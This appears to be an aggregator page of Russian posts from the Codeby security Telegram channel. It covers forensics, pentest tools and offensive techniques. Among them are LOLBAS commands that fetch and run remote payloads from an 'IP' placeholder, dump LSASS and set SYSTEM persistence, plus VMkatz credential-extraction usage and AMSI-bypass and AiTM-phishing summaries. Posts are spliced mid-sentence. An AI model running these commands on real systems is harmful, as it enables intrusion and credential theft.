Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Show more📈 Analytical overview of Telegram channel Codeby
Channel Codeby (@codeby_sec) in the Russian language segment is an active participant. Currently, the community unites 36 559 subscribers, ranking 3 751 in the Technologies & Applications category and 17 801 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 36 559 subscribers.
According to the latest data from 05 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 202 over the last 30 days and by 11 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 7.69%. Within the first 24 hours after publication, content typically collects 4.19% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 813 views. Within the first day, a publication typically gains 1 532 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 19.
- Thematic interests: Content is focused on key topics such as edr, api, вектор, mitre, att&ck.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Thanks to the high frequency of updates (latest data received on 07 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
svchost.exe — для антивируса и EDR это выглядит как обычная работа системы. Но в оперативной памяти они оставляют следы, которые никуда не деваются.
Почему RAM важнее диска при реагировании
Образ диска на 250+ ГБ снимается часами. Дамп RAM на 8–32 ГБ — за минуты. Но дело не только в скорости.
Оперативная память хранит то, чего на диске нет в принципе:
• Расшифрованный payload — малварь шифрует себя на диске, но в RAM работает в открытом виде
• Инжектированный код — Process Injection (T1055) файлов не оставляет, только RWX-регионы в чужом адресном пространстве
• Скрытые процессы — руткит выдёргивает процесс из списка, но pool-теги остаются в физической памяти
• Активные C2-соединения — с PID, портами и IP, которые лог файервола мог не записать
• Хэши и билеты Kerberos — прямо в памяти lsass.exe
🛠 Volatility 3: что изменилось
Главная ловушка для тех, кто учился по старым руководствам: в тройке нет --profile. Вместо него — символьные таблицы в формате ISF, которые фреймворк стягивает сам при первом запуске. Не нужно угадывать точный билд Windows — Volatility 3 определяет его автоматически.
Синтаксис стал чище: vol -f dump.raw windows.pslist вместо громоздкого vol.py --profile=Win10x64_18362 pslist. Минорные билды Windows поддерживаются без обновления фреймворка.
⚠️ Ключевой момент про снятие дампа
Дамп снимается до перезагрузки — это очевидно, но на практике именно здесь теряют артефакты. Перезагрузили хост — потеряли всё.
На Windows используется WinPmem: winpmem_mini_x64_rc2.exe output.raw. Сразу после снятия фиксируется контрольная сумма: sha256sum output.raw > output.raw.sha256. Это не формальность — без chain of custody отчёт не примут ни в суде, ни на review у заказчика.
💡 Что реально разделяет pslist и psscan
Большинство руководств перечисляют плагины, не объясняя разницу. pslist идёт по двусвязному списку ядра — руткит может выдернуть оттуда запись. psscan сканирует физическую память по pool-тегам — и находит то, что скрыто. Расхождение между выводами двух плагинов — красный флаг.
Полный workflow расследования: от снятия дампа до IoC для отчёта — в статье.
https://codeby.net/threads/analiz-dampov-pamyati-volatility-3-prakticheskii-workflow-obnaruzheniya-malvari-i-in-yektsii.92825/nmap -sV -sC -p- 10.10.10.100:
• Порт 22 с OpenSSH 7.9 — проверяем на известные CVE, но скорее всего идём через веб
• MySQL на порту 3306 торчит наружу — потенциальный вектор брутфорса (зачем он вообще открыт на периметре?)
• Apache Tomcat 9.0.30 на 8080 — горячая находка: старые версии часто содержат дыры в менеджере деплоя
Это не просто список открытых портов. Это карта решений: куда идти дальше, что фаззить, что брутить, где искать CVE.
🎯 Опытные пентестеры при работе с десятками хостов комбинируют инструменты: Masscan делает быстрое первичное сканирование всех портов, а Nmap с флагом -sV точечно добивает найденное. NSE-скрипты добавляют глубину: smb-vuln-ms17-010 проверяет EternalBlue, ssl-heartbleed обнаруживает Heartbleed, а http-enum находит стандартные директории веб-серверов за один проход.
Это лишь первая фаза из десяти. Дальше — Burp Suite, SQLmap, Metasploit, Hydra, Hashcat и другие инструменты, каждый из которых привязан к конкретному этапу атаки. Читай полный разбор в статье 👇
https://codeby.net/threads/instrumenty-pentestera-top-10-s-real-nymi-primerami-v-kazhdoi-faze-ataki.92812/alert(1)
Это уязвимость, которая может привести к краже сессии и полному захвату аккаунта.
Разобрали основные типы XSS и как от них защищаться — в карточках выше
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромAV:N/AC:L/PR:N/UI:N сразу говорит: pre-auth RCE, максимальный приоритет
2. Patch diffing — коммит из GHSA показывает точку входа. Замена unserialize() или dol_eval() — ваш маяк
3. Цепочка до PoC — CWE-классификация как карта: CWE-502 → gadget chain, CWE-22 → доставка payload
Разобраны CVE-2025-32432 в Craft CMS (CVSS 10.0, CISA KEV) и CVE-2025-55182 в React Server Components — от advisory до шелла.
https://codeby.net/threads/ekspluatatsiya-cve-v-veb-prilozheniyakh-ot-chteniya-advisory-do-rce-za-tri-shaga.92809//cgi-bin/cstecgi.cgi — и атакующий получает полный контроль. PoC уже на GitHub, патча нет.
cstecgi.cgi парсит JSON, берёт значение параметра и без проверок скармливает его в system() через sprintf(). Параметр ttyEnable, задуманный как булевый флаг, принимает строку любой длины с shell-метасимволами.
⚙️ В статье:
• Распаковка прошивки через binwalk и анализ MIPS-бинарника в Ghidra
• Формирование запросов для CVE-2026-6112 и CVE-2026-6113
• Готовые Suricata-правила для детекции
MITRE ATT&CK, CVSS 4.0 и разбор CWE-77/CWE-78 на реальном коде — в статье:
https://codeby.net/threads/cve-2026-6112-i-cve-2026-6113-uyazvimost-command-injection-v-totolink-a7100ru-ot-analiza-proshivki-do-detektsii.92788/rO0AB (байты ac ed 00 05)
• PHP: маркеры O:, a:, s: — читаются глазами
• Python pickle: бинарный поток с байтом \x80
⚙️ Ключевой инсайт: уязвимость — не в библиотеке вроде Apache Commons Collections, а в приложении, которое скармливает недоверенные данные в readObject(). Библиотека в classpath — не дыра. Дыра — когда пользовательский ввод до неё добирается.
Дальше: как подобрать gadget chain через ysoserial и phpggc, какие CVE эксплуатировать на WebLogic и PHP-фреймворках, и как строить цепочки вручную.
https://codeby.net/threads/uyazvimosti-deserializatsii-ekspluatatsiya-cherez-ysoserial-phpggc-i-postroyeniye-gadget-chain.92777/Autorize: вставил cookie низкопривилегированного юзера, браузишь как админ — красный «Bypassed!» = готовый IDOR
• A03 Injection → ActiveScan++: добавляет XXE, SSTI, улучшенный SQLi
• A04 Insecure Design → Turbo Intruder: race conditions на промокодах — тысячи req/sec
• A07 Auth Failures → JWT Editor: атаки alg:none, weak secret, key confusion из Repeater
• A10 SSRF → Collaborator Everywhere: браузишь приложение, extension инжектирует заголовки и ловит out-of-band callbacks
Плюс Param Miner (до 65 000 параметров за запрос) и Retire.js для уязвимых JS-библиотек.
https://codeby.net/threads/burp-suite-extensions-shpargalka-po-owasp-top-10-2025-kakoi-plagin-stavit-i-zachem.92768/Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.Для работы используется один статический двоичный файл размером ~3 МБ. Загрузите его на хост ESXi, узел Proxmox или в сетевое хранилище. Укажите .vmsn или .vmdk или целую папку с виртуальными машинами. Получите учетные данные, а не образы дисков. ⬇️Установка Клонируем репозиторий, компилируем. Двоичный файл будет лежать по пути target/x86_64-unknown-linux-musl/release.
git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help
Поддерживаемые входные данные
📉Снимки VMware в формате .vmsn + .vmem;
📉Встроенные снимки VMware в формате .vmsn (без .vmem);
📉Сохранённые состояния VirtualBox в формате .sav;
📉Состояния savevm QEMU/KVM;
📉ELF core dump’ы QEMU/KVM в формате .elf;
📉Сохранённые состояния Hyper-V в формате .vmrs;
📉Виртуальные диски VMware в формате .vmdk;
📉Виртуальные диски VirtualBox в формате .vdi;
📉Виртуальные диски QEMU/KVM в формате .qcow2;
📉Виртуальные диски Hyper-V в формате .vhdx, .vhd;
📉RAW SCSI-устройства VMFS-5/6 в формате /dev/disks/...;
📉Сырые файлы реестра Windows в формате SAM, SYSTEM, SECURITY;
📉Сырой файл NTDS.dit в формате ntds.dit + SYSTEM;
🖱Минидамп процесса LSASS в формате .dmp.
Использование
1️⃣Извлечение учетных данных LSASS из снимка VMware.
./vmkatz snapshot.vmsn
2️⃣Указание пути до виртуальной директории с целью поиска необходимых файлов.
./vmkatz /path/to/vm-directory/
3️⃣Экспорт BitLocker FVEK.
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
4️⃣Рекурсивное сканирование всех виртуальных машин по пути /vmfs/volumes/datastore1/.
./vmkatz -r /vmfs/volumes/datastore1/
#tools #credentials #vmware
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромamsi.dll загружается в каждую PowerShell-сессию с теми же привилегиями, что и вредоносный код. Классический патчинг AmsiScanBuffer оставляет следы в .text-секции — EDR это видит. Hardware breakpoints через DR0–DR3 обходят сканирование без записи в память.
https://codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763/whoami /priv — стандартный набор, ничего интересного. Что дальше?
🎯 Порядок приоритетов при LPE:
1. Токен — SeImpersonatePrivilege у сервисных аккаунтов IIS/MSSQL открывает Potato-атаки прямо к SYSTEM
2. Сервисы — Unquoted Service Path встречается на каждом втором пентесте, а SERVICE_CHANGE_CONFIG для группы Users — прямой билет наверх
3. UAC bypass — десятки техник без GUI, когда застрял на medium integrity
4. Kernel exploits — последнее средство: объяснять заказчику BSOD на продакшне — сомнительное удовольствие
⚡ Если оба ключа AlwaysInstallElevated выставлены в `1` — любой MSI устанавливается от SYSTEM.
Полный разбор техник, команд и нюансов эксплуатации:
https://codeby.net/threads/povysheniye-privilegii-windows-ekspluatatsiya-miskonfiguratsii-tokenov-i-obkhod-uac-na-praktike.92759/curl.exe -s -o C:\Temp\f.exe http://IP/f.exe — загрузка файла (Win10 1803+), сигнатуры слабее чем на certutil
• rundll32.exe comsvcs.dll, MiniDump C:\Temp\lsass.dmp full — дамп LSASS без Mimikatz, нужен SeDebugPrivilege
• regsvr32.exe /s /n /u /i:http://IP/payload.sct scrobj.dll — Squiblydoo, обход AppLocker
• msbuild.exe C:\Temp\payload.csproj — компиляция C# inline, обход AppLocker
• schtasks /create /tn "WindowsUpdate" /tr "beacon.exe" /sc onlogon /ru SYSTEM /f — persistence без PowerShell
ATT&CK-маппинг, флаги и ограничения (WDAC, Server Core) — в полной шпаргалке:
https://codeby.net/threads/lolbas-shpargalka-komandy-post-ekspluatatsii-windows-bez-storonnikh-instrumentov.92752/WPProbe — это высокопроизводительный сканер безопасности с открытым исходным кодом, предназначенный для обнаружения установленных плагинов и тем WordPress, а также их сопоставления с известными уязвимостями из баз данных Wordfence и WPScan. Инструмент использует WordPress для скрытного обнаружения компонентов, что позволяет минимизировать риск блокировки со стороны систем безопасности. WPProbe разработан для использования специалистами по тестированию на проникновение, администраторами сайтов и исследователями безопасности.🎇Основные функции - Скрытное обнаружение через REST API (идентификация более 5000 плагинов без прямого перебора директорий) - Три режима сканирования - Stealthy (по умолчанию), Bruteforce, Hybrid - Поддержка сканирования нескольких целей одновременно - Поддержка JSON и CSV для интеграции в конвейеры обработки - Фильтрация по CVE, плагину, критичности и типу аутентификации - Встроенный механизм обновления бинарного файла и базы данных ⬇️Установка
sudo apt install wpprobe
Проверка
wpprobe -h
⏺️Для получения свежих данных непосредственно от Wordfence можно использовать бесплатный API-ключ
#с указанием ключа
wpprobe update-db --api-key ваш_wordfence_api_ключ
#или через переменную окружения
export WORDFENCE_API_KEY=ваш_ключ
wpprobe update-db
⏺️Базовое сканирование одного сайта
wpprobe scan -u https://example.com
⏺️Сканирование с указанием режима
#скрытный режим (по умолчанию)
wpprobe scan -u https://example.com --mode stealthy
#агрессивный режим (прямой перебор)
wpprobe scan -u https://example.com --mode bruteforce
#гибридный режим
wpprobe scan -u https://example.com --mode hybrid
⏺️Массовое сканирование из файла (файл targets.txt содержит по одному URL на строку)
wpprobe scan -f targets.txt -t 20
Параметр -t задает количество одновременных потоков для ускорения обработки
⏺️Сохранение результатов
#CSV формат
wpprobe scan -u https://example.com -o results.csv
#JSON формат
wpprobe scan -u https://example.com -o results.json
⏺️Поиск уязвимостей по CVE
wpprobe search --cve CVE-2024-1234
⏺️Быстрая проверка клиентского сайта перед обновлением
wpprobe update-db
wpprobe scan -u https://client-site.com -o scan_report.csv
⏺️Поиск критических уязвимостей для приоритетного исправления
wpprobe search --severity critical --details
⏺️Проверка нового плагина перед установкой
wpprobe search --plugin newly-acquired-plugin-name
🔎Ограничения и рекомендации
- Скрытный метод обнаружения требует, чтобы REST API WordPress был доступен. Некоторые плагины или настройки безопасности могут его отключать
- Если плагин установлен, но неактивен или скрыт системами безопасности, он может остаться незамеченным
- Для максимальной точности рекомендуется использовать API-ключи для получения свежих данных
#WordPress #PluginScanner #RESTAPI #tool #pentest
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромAuthorization-заголовок, сливая Bearer-токен через fetch(). Никакого 0-day — только API, который браузер сам отдал.
🔍 Расширение с правом <all_urls> видит весь трафик: банк, корпоративный портал, почту. Обработчик onBeforeSendHeaders получает Cookie, Authorization, X-CSRF-Token до отправки на сервер. Жертва не замечает ничего.
⚠️ 42% вредоносных расширений с 2018 года злоупотребляли webRequest. Manifest V3 вектор не закрыл. Двухфакторка не спасает — расширение внутри периметра доверия браузера.
Полный разбор с PoC-кодом и семплами из Chrome Web Store:
https://codeby.net/threads/kak-brauzernyye-rasshireniya-kradut-dannyye-webrequest-declarativenetrequest-i-tekhniki-perekhvata-trafika.92749/Fatal Error 0x00005c, KsDumper молчит, TitanHide крашит процесс. Патч от третьих лиц через MinHook непонятным образом проходит проверку контрольной суммы импортов и переводит приложение с Dongle-проверки на сверку лицензии с файлом в папке. Алгоритм генерации этого файла — внутри. Но добраться до него не получается: защищённые .dll, замусоренный трейс после MinHook_Initialise_Hook, и приложение ещё и детектит VM.
🎯 Что уже стоит на столе у автора:
• Unlicense отработал, IAT и OEP восстановлены — есть unpacked_.exe для статики
• MinHook в чужом патче почему-то проходит CRC-проверку импортов/экспортов — и это само по себе вопрос
• Динамика умерла: 64dbg + ScyllaHide = Violation Access, чем больше опций включено, тем стабильнее краш
• Подозрение, что оригинальный алгоритм генерации затёрт, а рабочий спрятан в injected DLL — тоже под Themida
🔍 У человека конкретные три вопроса: как отличить hooked-функцию от динамически подгруженной из уже пропатченных библиотек, стоит ли дальше копать динамику через обход debugger detection, и как снимать защиту с .dll если она под VMProtect сверху. Если кто-то воевал с Themida на .dll или разбирался с injected MinHook-патчами без исходников — загляните, человек не новичок, но застрял на 4-й день.
https://codeby.net/threads/vopros-khuk-vytashchit-algoritm-generatsii-themida.92760/Набор специализированных инструментов с интеграцией Claude Code, предназначенных для тестирования на безопасность IoT-устройств, IP-камер и встроенных систем. Он включает в себя как инструменты командной строки, так и рабочие процессы с использованием искусственного интеллекта для комплексной оценки безопасности IoT.➡️Для установки необходимо установить зависимости, склонировать репозиторий, добавить каталог bin в переменную PATH и для удобного запуска добавить бинарные файлы инструмента в конфигурацию оболочки.
pip install colorama pyserial pexpect requests
git clone https://github.com/BrownFineSecurity/iothackbot.git
cd iothackbot
export PATH="$PATH:$(pwd)/bin"
echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc
🔗Представляет собой следующий набор инструментов
Обнаружение и разведка сети
⏺️wsdiscovery — сканер протокола WS-Discovery для поиска ONVIF-камер и IoT-устройств;
⏺️iotnet — анализатор сетевого трафика IoT для выявления протоколов и уязвимостей;
⏺️netflows — извлечение сетевых потоков с разрешением DNS-имён из pcap-файлов.
Тестирование для конкретного устройства
⏺️onvifscan — сканер безопасности ONVIF-устройств: проверка обхода аутентификации, перебор учётных данных.
Анализ прошивки и файлов
⏺️chipsec — статический анализ прошивок UEFI/BIOS: обнаружение известных руткитов (LoJax, ThinkPwn, HackingTeam), генерация списка EFI-исполняемых файлов с хешами, декодирование структуры прошивки и извлечение NVRAM.
⏺️ffind — продвинутый поиск файлов с определением типов и извлечением файловых систем: определяет типы артефактных файлов, извлекает файловые системы ext2/3/4 и F2FS.
Анализ Android
⏺️apktool — распаковка APK и извлечение ресурсов: декодирование AndroidManifest.xml, извлечение ресурсов, интерфейсов и строк, дизассемблирование в smali-код.
⏺️jadx — декомпиляция APK: преобразование DEX в читаемый Java-код, поиск захардкоженных учётных данных, анализ логики приложения
Доступ к оборудованию и консоли
⏺️picocom — взаимодействие с UART-консолью IoT-устройств: управление загрузчиком, перебор и анализ shell-доступа, извлечение прошивки.
⏺️telnetshell — работа с telnet-shell на IoT-устройствах: проверка неаутентифицированного доступа к shell, сбор информации об устройстве, работа с командами BusyBox.
⛓️💥Использование
▶️Проверка безопасности устройств ONVIF.
onvifscan auth http://192.168.1.100 onvifscan brute http://192.168.1.100▶️Анализ файла PCAP на предмет протоколов Интернета вещей.
iotnet capture.pcap▶️Извлечение файловых систем из прошивки устройства.
sudo ffind firmware.bin -e
#tools #IoT #pentest
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромsession cookie — и атакующий перехватывает его до того, как он доберётся до браузера жертвы.
🛠 Три инструмента, которые делают это реальным
Evilginx3 — standalone-приложение на Go со встроенным DNS-сервером, автоматическими TLS-сертификатами и модульной конфигурацией через phishlets. Phishlet — YAML-файл, где прописано: какие поддомены проксировать, какие POST-параметры содержат credentials и какие cookie являются session tokens. Для M365 это обычно ESTSAUTH и ESTSAUTHPERSISTENT. Evilginx на лету переписывает все ссылки в HTML/JS-ответах, подставляя фишинговые поддомены вместо оригинальных.
Modlishka и Muraena — альтернативные прокси-фреймворки с похожей логикой, но разными подходами к конфигурации и обходу детекта. Все три реализуют одну идею: стать невидимым посредником между жертвой и легитимным сервисом.
🔵 Что работает на синей стороне
Ни TOTP, ни push, ни SMS не спасают — они все транзитом проходят через прокси. Реально помогают: FIDO2/passkeys (привязаны к домену, прокси не может подделать), Conditional Access с анализом аномалий сессии и мониторинг UserAgent — после импорта cookie браузер атакующего почти всегда отличается от браузера жертвы.
Полная механика атаки, конфигурация Evilginx и индикаторы детекта для каждого фреймворка — в статье. Читай, пока твои пользователи уверены, что MFA их защищает.
https://codeby.net/threads/aitm-fishing-obkhod-mfa-cherez-evilginx-modlishka-i-muraena.92741/
Available now! Telegram Research 2025 — the year's key insights 
